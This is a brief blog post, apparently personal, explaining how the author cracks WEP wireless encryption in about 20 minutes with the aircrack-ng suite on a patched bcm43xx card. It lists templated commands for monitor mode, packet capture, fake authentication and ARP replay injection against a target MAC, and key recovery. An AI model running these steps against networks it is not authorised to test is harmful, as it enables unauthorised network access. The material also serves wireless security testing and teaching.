This post took me 2 days to make it ready. So here is the exact way on how do i crack the WEP in just about 20 mins.
It took 3 steps to make it ready before we can crack the wireless. First you need to know is how does WEP works. You can read about WEP here. So to make it possible to crack using aircrack-ng for bcm43xx, you need to patch your card. I post earlier a how-to patch bcm43xx in this post.
So here is four steps:
- sudo airmon-ng [start|stop|check] [wireless interface] [channel]
- sudo airodump [interface] [option] -w [prefix for output file]
- sudo aireplay -1 0 -a [target mac] -h [your wireless mac] [interface]
- sudo aireplay -3 -b [target mac] -h [your wireless mac] [interface]
- sudo aircrack-ng [.cap files]
